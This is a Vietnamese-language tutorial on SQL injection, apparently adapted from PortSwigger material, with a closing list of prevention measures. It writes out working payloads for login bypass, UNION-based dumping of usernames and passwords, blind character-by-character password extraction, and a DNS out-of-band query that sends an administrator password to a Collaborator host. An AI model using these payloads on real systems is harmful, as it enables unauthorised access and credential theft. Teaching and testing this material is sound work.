🔏SQL injection

Server Side Vul

SQLi là gì ?

SQLi là một lỗ hổng web mà cho phép kẻ tấn công can thiệp với các câu truy vấn mà ứng dụng thực hiện cơ sở dữ liệu của nó. Nói chung nó cho phép kẻ tấn công có thể xem được dữ liệu mà chúng thường không thể lấy được…Có thê bao gồm các dữ liệu thuộc người dùng khác hoặc bất kỳ người dùng nào mà bản thân ứng dụng có thể truy cập. Trong nhiều trường hợp, kẻ tấn công có thể sửa đổi hoặc xóa dữ liệu đó, gây ra thay đổi liên tục tới nội dung hoặc trạng thái( cách xử lý) của ứng dụng.

Trong một vài trường hợp, kẻ tấn công có thể leo thang cuộc tấn công SQLi để xâm chiếm máy chủ bên dưới hoặc cở sở hạ tầng back-end thực hiện cuộc tấn công từ chối dịch vụ.

Một cuộc tấn công SQLi thành công sẽ như nào?

Một cuộc tấn công SQLi thành công có thể dẫn đến truy cập trái phép tới dữ liệu nhảy cảm như là password, thẻ tín dụng hoặc thông tin cá nhân người dùng. Nhiều sự vi phạm cấu hình dữ liệu cao cấp trong những năm gần đấy là kết quả của tấn công SQLi, dẫn tới thiệt hại tới danh tiếng và tiền phạt theo quy định. Trong một vài trường hợp, kẻ tấn công có thể có được một backdoor liên tục vào vào hệ thống tổ chức dẫn tới việc truy cập dữ liệu lâu dài của hacker mà không được chú ý đến.

SQL injection cheat sheet

Các loại ví dụ SQLi

  • Truy xuất dữ liệu ẩn

  • Chuyển đổi logic ứng dụng

  • Tấn công UNION

  • Kiểm tra cơ sở dữ liệu

  • Blind SQLi

Truy xuất dữ liệu ẩn

Xem xét một app shopping rằng nó hiện thị các sản phẩm theo từng lọai khác nhau. Khi người dùng click vào loại Gifts, thì dữ liệu sẽ trả về URL:

https://shanglyushop.com/products?category=Gifts

Khi đó ứng dụng sẽ thực thi truy vấn sql để trả về thông tin chi tiết của sản phẩm như sau:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Nếu kẻ tấn công chèn ‘– vào sau URL thì nó sẽ như này:

https://insecure-website.com/products?category=Gifts'--

Lúc đó truy vấn SQL sẽ trở thành:

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

Trong SQL hai dấu — được xem là comment, và khi đó trang web chỉ lấy sản phẩm là Gifts và bỏ qua tất cả câu quy vấn phía sau như released

Hoặc kẻ tấn công cũng có thể chèn sau URL ‘+OR+1=1– thì nó sẽ thành:

https://insecure-website.com/products?category=Gifts'+OR+1=1--

Khi đó truy vấn sẽ trở thành như sau:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

Nhìn trên đoạn truy vấn SQL thì nó sẽ lấy Gifts hoặc 1=1 và bỏ qua phần phía sau, mà 1=1 thì luôn đúng nên nó sẽ lấy tất cả sản phẩm

Chuyển đổi logic ứng dụng

Xem xét một ứng dụng mà người dùng đăng nhập với username và password. Nếu một người dùng submits user là shang và pass là qntsd thì khi đó ứng dụng sẽ check thông tin xác thực bằng cách thực hiện truy vấn sql như sau:

SELECT * FROM users WHERE username = 'shang' AND password = 'qntsd'

Như dạng truy xuất ẩn dữ liệu kẻ tấn công có thể chèn sql sau url:

administrator'-- 

Khi đó ứng dụng chỉ xác thực mỗi username mà bỏ qua tất cả những ở sau dấu —

Tấn công UNION

Đây là kiểu tấn công mà kẻ tấn công sử dụng câu lệnh sql để truy xuất dữ liệu từ một bảng dữ liệu khác, ví dụ như bảng dữ liệu người dùng chứa user và pass.

Ví dụ:

SELECT name, description FROM products WHERE category = 'Gifts'

Kẻ tấn công sẽ chèn thêm câu lệnh sau URL:

' UNION SELECT username, password FROM users--

Trong SQL thì UNION là để kết hợp kết quả của 2 hoặc nhiều bảng dữ liệu với nhau.

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

Để một UNION truy vấn hoạt động, hai yêu cầu chính phải được đáp ứng:

  • Các truy vấn riêng lẻ phải trả về cùng một số cột.

  • Các kiểu dữ liệu trong mỗi cột phải tương thích giữa các truy vấn riêng lẻ.

Để thực hiện một cuộc tấn công SQL injection UNION, bạn cần đảm bảo rằng cuộc tấn công của bạn đáp ứng hai yêu cầu này. Điều này thường liên quan đến việc tìm ra:

  • Có bao nhiêu cột đang được trả về từ truy vấn ban đầu?

  • Những cột nào được trả về từ truy vấn ban đầu thuộc loại dữ liệu phù hợp để giữ kết quả từ truy vấn được đưa vào?

Xác định số cột được yêu cầu trong một tấn công SQLi UNION

Khi chúng ta thực hiện tấn công SQL UNION, sẽ có hai phương pháp hiệu quả để xác định có bao nhiêu cột đang được trả về từ câu truy vấn gốc.

Phương pháp đầu tiên liên quan tới đưa mệnh đề Order By vào tăng chỉ số cột cho tới khi lỗi xảy ra:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
.......

Khi dùng ký tự đại diện từ trái sang phải là 1,2…Số 1 và 2 đại diện cho từng cột thay vì bạn phải ghi lại tên cột một lần nữa. Và từ đó lẻ tấn công sẽ tăng lên 1,2,3… cho tới khi nào lỗi cơ sở dữ liệu được trả về trong phần phải hồi HTTP thì sẽ biết được số cột của bảng đó

Phương pháp thứ 2 liên quan tới việc gửi một loạt UNION SELECT chỉ định một số giá trị rỗng khác nhau:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
...

Nếu số lượng rỗng không khớp với số cột thì cơ sở dữ liệu sẽ trả về lỗi như sau:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

Một lần nữa, ứng dụng thực sự có thể trả lại thông báo lỗi này hoặc có thể chỉ trả lại một lỗi chung hoặc không có kết quả. Khi số lượng rỗng khớp với số cột, cơ sở dữ liệu trả về một hàng bổ sung trong tập kết quả, chứa các giá trị null trong mỗi cột. Ảnh hưởng đến phản hồi HTTP kết quả phụ thuộc vào mã của ứng dụng. Nếu may mắn, bạn sẽ thấy một số nội dung bổ sung trong phản hồi, chẳng hạn như một hàng bổ sung trên bảng HTML. Nếu không, các giá trị null có thể gây ra một lỗi khác, chẳng hạn như a NullPointerException.

Tìm kiểu dữ liệu của cột trong cuộc tấn công SQLI UNION

Lý do mà để thực hiện một cuộc tấn công SQLi UNION là có thể lấy lại kết quả của truy vấn đươc đưa vào. Khi tìm được số lượng cột thì bạn có thể xem xét mỗi chuỗi bằng cách test nó có phải chuỗi dữ liệu hay không bằng cách đưa một loạt payloads UNION SELECT rồi đặt chuỗi vào từng cột giá trị rồi submit:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

Nếu kiểu dữ liệu đưa vào chuỗi không tương ứng với kiểu dữ liệu trong cột thì truy vấn trên sẽ gây ra lỗi như sau:

Conversion failed when converting the varchar value 'a' to data type int.

Nếu lỗi không xảy ra và phản hồi của ứng dụng chứa một số nội dung bổ sung bao gồm giá trị chuỗi được chèn vào, thì cột có liên quan sẽ phù hợp để truy xuất dữ liệu chuỗi.

Sử dụng SQLi UNION tấn công lấy dữ liệu cần thiết

Khi chúng ta xác định được số cột được trả về bằng truy vấn gốc và tìm những cột có thể lấy chuỗi dữ liệu

Giả sử rằng:

Truy vấn ban đầu trả về hai cột, cả hai cột này đều có thể chứa dữ liệu chuỗi. Điểm chèn là một chuỗi được trích dẫn trong mệnh đề WHERE. Cơ sở dữ liệu chứa một bảng được gọi là user với các cột username và password.

' UNION SELECT username, password FROM users--

Try vấn database type and vesion

Nếu bạn sử dụng cuộc tấn công UNION thì input sẽ như sau:

' UNION SELECT @@version--

Nó sẽ trả về:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

Trên cơ sở dữ liệu Oracle, mọi câu lệnh SELECT phải chỉ định một bảng để chọn FROM. Nếu cuộc tấn công UNION SELECT của bạn không truy vấn từ một bảng, bạn vẫn cần phải bao gồm từ khóa FROM theo sau là tên bảng hợp lệ. Có một bảng tích hợp trên Oracle được gọi là dual mà bạn có thể sử dụng cho mục đích này.

Ví dụ: UNION SELECT ‘abc’ FROM dual

Liệt kê nội dung cơ sở dữ liệu

Hầu hết các loại cơ sở dữ liệu (với ngoại lệ đáng chú ý là Oracle) có một tập hợp các khung nhìn được gọi là lược đồ thông tin cung cấp thông tin về cơ sở dữ liệu.

Bạn có thể truy vấn information_schema.tables để liệt kê các bảng trong cơ sở dữ liệu:

SELECT * FROM information_schema.tables

Khi đó nó trả về:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE

Từ đây chúng ta có thể lấy dữ liệu của các bảng thật dễ dàng. Chọn tên bảng rồi chọn tên cột trong bảng rồi xuất dữ liệu của bảng:

%27+UNION+SELECT+column_name,+null+from+information_schema.columns+where+table_name=%27users_vflylc%27--

Với Oracle thì truy vấn all_tables

SELECT * FROM all_tables
///table_name

Và bạn có thể liệt kê các cột bằng cách truy vấn all_tab_columns:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

Truy xuất nhiều giá trị với một cột duy nhất

Giả sử rằng truy vấn chỉ trả về một cột duy nhất. Bạn có thể dễ dàng truy xuất nhiều giá trị cùng nhau trong cột đơn này bằng cách nối các giá trị với nhau, lý tưởng nhất là bao gồm dấu phân tách phù hợp để cho phép bạn phân biệt các giá trị được kết hợp.

Ví dụ, trên Oracle, bạn có thể gửi đầu vào:

' UNION SELECT username || '~' || password FROM users--

Điều này sử dụng chuỗi ký tự kép || là một toán tử nối chuỗi trên Oracle. Truy vấn được đưa vào sẽ nối các giá trị của trường tên người dùng và mật khẩu với nhau, được phân tách bằng ký tự ~.Kết quả từ truy vấn sẽ cho phép bạn đọc tất cả tên người dùng và mật khẩu, ví dụ:

administrator~s3cure
wiener~peter
carlos~montoya
...

Tham khảo ở SQLi cheat sheet

https:/shanglyu.com/filter?category=Gifts%27+union+select+null,username||%27:%27||password+from+users--

Blind SQLi

Nhiều trường hợp SQL injection là lỗ hổng mù. Điều này có nghĩa là ứng dụng không trả về kết quả của truy vấn SQL hoặc chi tiết về bất kỳ lỗi cơ sở dữ liệu nào trong các phản hồi của nó. Các lỗ hổng bảo mật vẫn có thể bị khai thác để truy cập dữ liệu trái phép, nhưng các kỹ thuật liên quan thường phức tạp hơn và khó thực hiện hơn. Tùy thuộc vào bản chất của lỗ hổng và cơ sở dữ liệu liên quan, các kỹ thuật sau có thể được sử dụng để khai thác lỗ hổng SQL injection:

  • Bạn có thể thay đổi logic của truy vấn để kích hoạt sự khác biệt có thể phát hiện được trong phản hồi của ứng dụng tùy thuộc vào sự thật của một điều kiện. Điều này có thể liên quan đến việc đưa một điều kiện mới vào một số logic Boolean hoặc gây ra lỗi có điều kiện, chẳng hạn như số chia cho số không.

  • Bạn có thể kích hoạt một cách có điều kiện độ trễ thời gian trong quá trình xử lý truy vấn, cho phép bạn suy ra sự thật của điều kiện dựa trên thời gian ứng dụng cần để phản hồi.

  • Bạn có thể kích hoạt tương tác mạng ngoài băng tần, sử dụng các kỹ thuật OAST. Kỹ thuật này cực kỳ mạnh mẽ và hoạt động trong những tình huống mà các kỹ thuật khác không làm được. Thông thường, bạn có thể lấy dữ liệu trực tiếp qua kênh ngoài băng tần, ví dụ: bằng cách đặt dữ liệu vào bản tra cứu DNS cho miền mà bạn kiểm soát.

Khai khác SQLi Blind bằng cách kích hoạt phản hồi có điều kiện

Xem xét ứng dụng mà sử dụng cookies để thu thập phân tích về việc sử dụng và requests lại ứng dụng bao gồm cookie header như này:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

Khi request chứa cookie được xử lý, ứng dụng sẽ xem xét để biết là người dùng hay không thì sẽ sử dụng truy vấn SQL:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

Truy vấn này là một lỗi hổng SQLi nhưng kết quả từ truy vấn không được trả tới người dùng. Tuy nhiên ứng dụng sẽ xử lý khác nhau tùy thuộc vào truy vấn trả về bất cứ dữ liệu nào hay không. Nếu nó trả về dữ liêu, sau đó “Welcome back” được hiện thị ra.

Hành vi này là đủ để có thể khai thác lỗ hổng SQL injection và truy xuất thông tin bằng cách kích hoạt các phản hồi khác nhau có điều kiện, tùy thuộc vào điều kiện được đưa vào. Để xem cách này hoạt động như thế nào, giả sử rằng hai yêu cầu được gửi lần lượt có chứa các giá trị cookie TrackingId sau:

…xyz' AND '1'='1
…xyz' AND '1'='2

Giá trị đầu tiên sẽ được truy vấn trả về kết quả, bởi vì AND ‘1’=’1 là điều kiện đúng. Trong khi giá trị thứ hai sẽ khiến truy vấn không trả về bất kỳ kết quả nào, bởi vì điều kiện được đưa vào là sai, và do đó, thông báo “Chào mừng trở lại” sẽ không được hiển thị. Điều này cho phép chúng tôi xác định câu trả lời cho bất kỳ điều kiện được tiêm đơn lẻ nào và do đó trích xuất dữ liệu từng bit một.

Ví dụ: Giả sử có một bảng được gọi là Users với các cột UsernamePassword, và một người dùng được gọi là Administrator. Chúng tôi có thể xác định mật khẩu cho người dùng này một cách có hệ thống bằng cách gửi một loạt đầu vào để kiểm tra mật khẩu từng ký tự một. Để làm điều này, chúng tôi bắt đầu với đầu vào sau:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

Điều này trả về thông báo “Chào mừng trở lại”, chỉ ra rằng điều kiện được đưa vào là đúng và do đó ký tự đầu tiên của mật khẩu lớn hơn m.

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

Điều này không trả về thông báo “Chào mừng trở lại”, cho biết rằng điều kiện được đưa vào là sai, và do đó, ký tự đầu tiên của mật khẩu không lớn hơn t.

Cuối cùng, chúng tôi gửi thông tin đầu vào sau, thông báo này sẽ trả về thông báo “Chào mừng bạn trở lại”, do đó xác nhận rằng ký tự đầu tiên của mật khẩu là s :

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

Chúng tôi có thể tiếp tục quá trình này để xác định một cách có hệ thống mật khẩu đầy đủ cho người dùng Administrator.

  • Check lỗi Blind SQLi

  • Kiểm tra có bảng User

  • Kiểm tra có username là ….

  • Kiểm tra độ dài của password

  • Kiểm tra ký tự đầu tiên của password, tiếp theo đó kiểm tra ký tự thứ 2,3,4…bằng burp suite

Tạo phản hồi có điều kiện bằng cách kích hoạt lỗi SQL

Giả sử rằng ứng dụng thực hiện cùng một truy vấn SQL, nhưng không hoạt động khác nhau tùy thuộc vào việc truy vấn có trả về bất kỳ dữ liệu nào hay không. Kỹ thuật trước đó sẽ không hoạt động, bởi vì việc tiêm các điều kiện Boolean khác nhau không tạo ra sự khác biệt nào đối với các phản hồi của ứng dụng.

Trong trường hợp này, thường có thể khiến ứng dụng trả về các phản hồi có điều kiện bằng cách kích hoạt các lỗi SQL có điều kiện, tùy thuộc vào một điều kiện được đưa vào. Điều này liên quan đến việc sửa đổi truy vấn để nó sẽ gây ra lỗi cơ sở dữ liệu nếu điều kiện là đúng, nhưng không phải nếu điều kiện sai. Thông thường, một lỗi chưa được xử lý do cơ sở dữ liệu ném ra sẽ gây ra một số khác biệt trong phản hồi của ứng dụng (chẳng hạn như thông báo lỗi), cho phép chúng tôi suy ra chính xác điều kiện được đưa vào.

Để xem cách này hoạt động như thế nào, giả sử rằng hai yêu cầu được gửi lần lượt có chứa các giá trị cookie TrackingId sau:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

Các đầu vào này sử dụng từ khóa CASE để kiểm tra một điều kiện và trả về một biểu thức khác tùy thuộc vào việc biểu thức có đúng hay không. Với đầu vào đầu tiên, biểu thức CASE đánh giá là ‘a’, không gây ra bất kỳ lỗi nào. Với đầu vào thứ hai, nó đánh giá là 1/0, gây ra lỗi chia cho không. Giả sử lỗi gây ra một số khác biệt trong phản hồi HTTP của ứng dụng, chúng ta có thể sử dụng sự khác biệt này để suy ra liệu điều kiện được đưa vào có đúng hay không.

Sử dụng kỹ thuật này, chúng tôi có thể truy xuất dữ liệu theo cách đã được mô tả, bằng cách kiểm tra một cách có hệ thống từng ký tự một:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Note:

  • Check lỗi cú pháp ‘ or ”

  • Sau đó dùng kiểm tra nó là loại cơ sở dữ liệu nào

  • Kiểm tra có bảng người dùng là users hay không

  • Kiểm tra độ dài mật khẩu

  • Dùng substring() để kiểm tra ký tự đầu của password từ đó dùng burp suite để check ra mật khẩu

//Khác với loại cơ sở dữ liệu khác trong Oracle sử dụng ROWNUM thay cho LIMIT

Khai thác quá trình chèn SQL mù bằng cách kích hoạt độ trễ thời gian

Giả sử rằng ứng dụng bây giờ bắt lỗi cơ sở dữ liệu và xử lý chúng một cách triệt để. Việc kích hoạt lỗi cơ sở dữ liệu khi truy vấn SQL được chèn vào được thực thi không còn gây ra bất kỳ sự khác biệt nào trong phản hồi của ứng dụng, do đó, kỹ thuật tạo lỗi có điều kiện trước đó sẽ không hoạt động.

Trong tình huống này, thường có thể khai thác lỗ hổng SQL injection bằng cách kích hoạt độ trễ thời gian có điều kiện, tùy thuộc vào điều kiện được đưa vào. Vì các truy vấn SQL thường được ứng dụng xử lý đồng bộ nên việc trì hoãn việc thực thi một truy vấn SQL cũng sẽ làm chậm phản hồi HTTP. Điều này cho phép chúng tôi suy ra sự thật của điều kiện được đưa vào dựa trên thời gian thực hiện trước khi nhận được phản hồi HTTP.

Các kỹ thuật để kích hoạt độ trễ thời gian rất cụ thể đối với loại cơ sở dữ liệu đang được sử dụng. Trên Microsoft SQL Server, đầu vào như sau có thể được sử dụng để kiểm tra một điều kiện và kích hoạt độ trễ tùy thuộc vào việc

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

Đầu vào đầu tiên trong số các đầu vào này sẽ không kích hoạt độ trễ, vì điều kiện 1 = 2 là sai. Đầu vào thứ hai sẽ kích hoạt độ trễ 10 giây, vì điều kiện 1 = 1 là đúng.

Sử dụng kỹ thuật này, chúng tôi có thể truy xuất dữ liệu theo cách đã được mô tả, bằng cách kiểm tra một cách có hệ thống từng ký tự một:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Note:

  • Thử payload tất cả như nối chuỗi || , ‘;

  • Sau khi payload thành công thì chỉ cần tìm bảng users

  • Tiếp đến tìm username, độ dài pass và dò pass => tất cả đều được bỏ vào điều kiện câu lệnh

Khai thác quá trình chèn SQL mù bằng kỹ thuật ngoài băng tần (OAST)

Bây giờ, giả sử rằng ứng dụng thực hiện cùng một truy vấn SQL, nhưng thực hiện không đồng bộ. Ứng dụng tiếp tục xử lý yêu cầu của người dùng trong chuỗi ban đầu và sử dụng một chuỗi khác để thực hiện truy vấn SQL bằng cách sử dụng cookie theo dõi. Truy vấn vẫn dễ bị chèn SQL, tuy nhiên không có kỹ thuật nào được mô tả cho đến nay sẽ hoạt động: phản hồi của ứng dụng không phụ thuộc vào việc truy vấn có trả về bất kỳ dữ liệu nào hay không, có xảy ra lỗi cơ sở dữ liệu hay không hoặc vào thời gian thực thi. truy vấn.

Trong tình huống này, thường có thể khai thác lỗ hổng SQL injection bằng cách kích hoạt các tương tác mạng ngoài băng tần với hệ thống mà bạn kiểm soát. Như trước đây, chúng có thể được kích hoạt có điều kiện, tùy thuộc vào điều kiện được đưa vào, để suy ra thông tin từng bit một. Nhưng mạnh mẽ hơn, dữ liệu có thể được lấy ra trực tiếp trong chính sự tương tác của mạng.

Nhiều giao thức mạng có thể được sử dụng cho mục đích này, nhưng thường hiệu quả là DNS (dịch vụ tên miền). Điều này là do rất nhiều mạng sản xuất cho phép truy vấn DNS miễn phí, vì chúng rất cần thiết cho hoạt động bình thường của hệ thống sản xuất.Cách dễ nhất và đáng tin cậy nhất để sử dụng các kỹ thuật ngoài dải là sử dụng Burp Collaborator.

Đây là một máy chủ cung cấp các triển khai tùy chỉnh của các dịch vụ mạng khác nhau (bao gồm cả DNS) và cho phép bạn phát hiện khi nào các tương tác mạng xảy ra do gửi các tải trọng riêng lẻ đến một ứng dụng dễ bị tấn công. Hỗ trợ cho Burp Collaborator được tích hợp sẵn trong Burp Suite Professional mà không cần cấu hình.

Các kỹ thuật để kích hoạt truy vấn DNS rất cụ thể đối với loại cơ sở dữ liệu đang được sử dụng. Trên Microsoft SQL Server, đầu vào như sau có thể được sử dụng để thực hiện tra cứu DNS trên một miền cụ thể:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

Điều này sẽ gây cho database thực hiện tra cứu tên miền sau:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

Sau khi xác nhận một cách để kích hoạt các tương tác ngoài băng tần, sau đó bạn có thể sử dụng kênh ngoài băng tần để lấy dữ liệu từ ứng dụng dễ bị tấn công.

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

Đây là input đọc password của người dùng administrator, thêm miền phụ Collaborator duy nhất và kích hoạt tra cứu DNS. Điều này sẽ dẫn đến việc tra cứu DNS như sau, cho phép bạn xem mật khẩu đã lấy:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
// Ở đây S3cure là password được nối vào domain

Các kỹ thuật ngoài băng tần (OAST) là một cách cực kỳ hiệu quả để phát hiện và khai thác quá trình chèn SQL blind, do khả năng thành công rất cao và khả năng tách lọc trực tiếp dữ liệu trong kênh ngoài băng tần. Vì lý do này, các kỹ thuật OAST thường được ưu tiên sử dụng ngay cả trong các tình huống mà các kỹ thuật khai thác blind khác hoạt động hiệu quả.

Cách thức hoạt động của lỗ hổng SQLi

  • Bước 1: Tìm kiếm các trang web cho phép submit dữ liệu ở bất kỳ một trình tìm kiếm nào đó trên mạng.

  • Bước 2: Thử gửi các field tên đăng nhập, mật khẩu hoặc field id bằng hi’ or 1=1– để kiểm tra những chỗ yếu của trang web.

  • Bước 3: Thông qua các yêu cầu của người dùng được cho phép bởi website, hacker sẽ gửi lệnh SQL độc hại đến các máy chủ cơ sở dữ liệu.

  • Bước 4: Sử dụng sp_makewebtask để nhận và ghi các output của SQL Query ra file HTML.

  • Bước 5: Nhận các thông tin quan trọng từ các thông báo lỗi của máy chủ SQL để xác nhận tên của table.

  • Bước 6: Xác định và khai thác tên của các cột có trong table.

  • Bước 7: Sau khi đã xác định được tên của column và table, hacker có thể dễ dàng thu thập được những thông tin quan trọng từ nó.

  • Bước 8: Thêm các ký tự alphabet và numeric string để gây thất bại cho quá trình chuyển đổi từ từ text sang số của máy chủ.

  • Bước 9: Sử dụng các statement update hoặc insert để tiến hành sửa đổi hoặc tạo mới record của table.

Cách ngăn chặn lỗ hổng bảo mật SQLi

  • Bạn tuyệt đối không được tin tưởng những input mà người dùng nhập vào. Việc bạn cần làm chính là xác thực mọi dữ liệu trước khi sử dụng các câu lệnh SQL.

  • Sử dụng các thủ tục được lưu trữ để xem xét toàn bộ các input và trừu tượng hoá các lệnh SQL. Việc này giúp các cú pháp lệnh SQL không bị ảnh hưởng.

  • Chuẩn bị sẵn các lệnh bao gồm tạo truy vấn SQL (hành động đầu tiên) và xử lý toàn bộ các dữ liệu đã được gửi tương tự như những tham số.

  • Các thông báo lỗi phải tuyệt đối chính xác và tránh tiết lộ những vị trí xảy ra lỗi hay những thông tin, chi tiết mang tính giá trị, nhạy cảm.

  • Khi nhận được các input người dùng, tham số từ URL hay các giá trị từ cookie thì bạn cần loại bỏ các ký tự meta và extend như /\, NULL, LF, CR,… trong các string.

  • Trước khi query SQL, bạn nên chuyển các giá trị numeric sang integer hoặc dùng ISNUMERIC để chắc chắn hơn nó là một số integer.

  • Xoá các stored procedure không dùng như xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask trong database master.

Cảm ơn mọi người đã đọc bài! Bài viết được viết từ PortSwigger và Bizly

Last updated